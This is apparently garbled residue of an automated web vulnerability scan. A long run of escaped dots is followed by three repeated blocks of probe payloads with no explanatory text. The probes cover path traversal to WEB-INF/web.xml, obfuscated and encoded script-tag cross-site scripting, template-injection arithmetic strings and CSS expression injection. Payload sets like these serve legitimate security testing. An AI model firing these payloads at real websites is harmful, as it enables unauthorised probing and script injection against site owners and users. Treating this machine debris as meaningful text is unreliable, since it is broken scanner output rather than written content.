\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
WEB-INF/web.xml
1'"()&%R4Ej(9358)
WEB-INF\web.xml
'"()&%R4Ej(9419)
19859326
acu2008%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2008
acux8283%C0%BEz1%C0%BCz2a%90bcxuca8283
1
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1R4Ej(9054)
1ZHNZI[!+!]
1R4Ej(9307)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%52%34%45%6A%28%39%35%34%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1R4Ej(9025)
1
1R4Ej(9968)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%52%34%45%6A%289776%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\R4Ej(9462)\u003C/sCripT\u003E
1<ScRiPt>R4Ej(9392)</sCripT>
?
1
1}body{acu:Expre/**/SSion(R4Ej(9926))}
1
12JL8g
R4Ej(9638)
10BEQS[!+!]
1
1
1
1
1'"()&%bF4y(9372)
'"()&%bF4y(9473)
19807752
acu7917%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7917
acux10917%C0%BEz1%C0%BCz2a%90bcxuca10917
1
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1bF4y(9056)
12BGNR[!+!]
1bF4y(9252)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%62%46%34%79%28%39%38%34%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1bF4y(9170)
1
1bF4y(9453)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%62%46%34%79%289733%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\bF4y(9861)\u003C/sCripT\u003E
1<ScRiPt>bF4y(9045)</sCripT>
?
1
1}body{acu:Expre/**/SSion(bF4y(9480))}
1
1HQdjH
bF4y(9437)
1XMHQU[!+!]
1
1
1
1
1'"()&%GhT4(9416)
'"()&%GhT4(9505)
19680131
acu5442%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5442
acux1947%C0%BEz1%C0%BCz2a%90bcxuca1947
1
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1GhT4(9410)
10UUET[!+!]
1GhT4(9074)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%47%68%54%34%28%39%31%32%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1GhT4(9588)
1
1GhT4(9798)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%47%68%54%34%289916%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\GhT4(9491)\u003C/sCripT\u003E
1<ScRiPt>GhT4(9247)</sCripT>
?
1
1}body{acu:Expre/**/SSion(GhT4(9313))}
1
1myLG2
GhT4(9527)
18ZXIQ[!+!]
1
1
1
1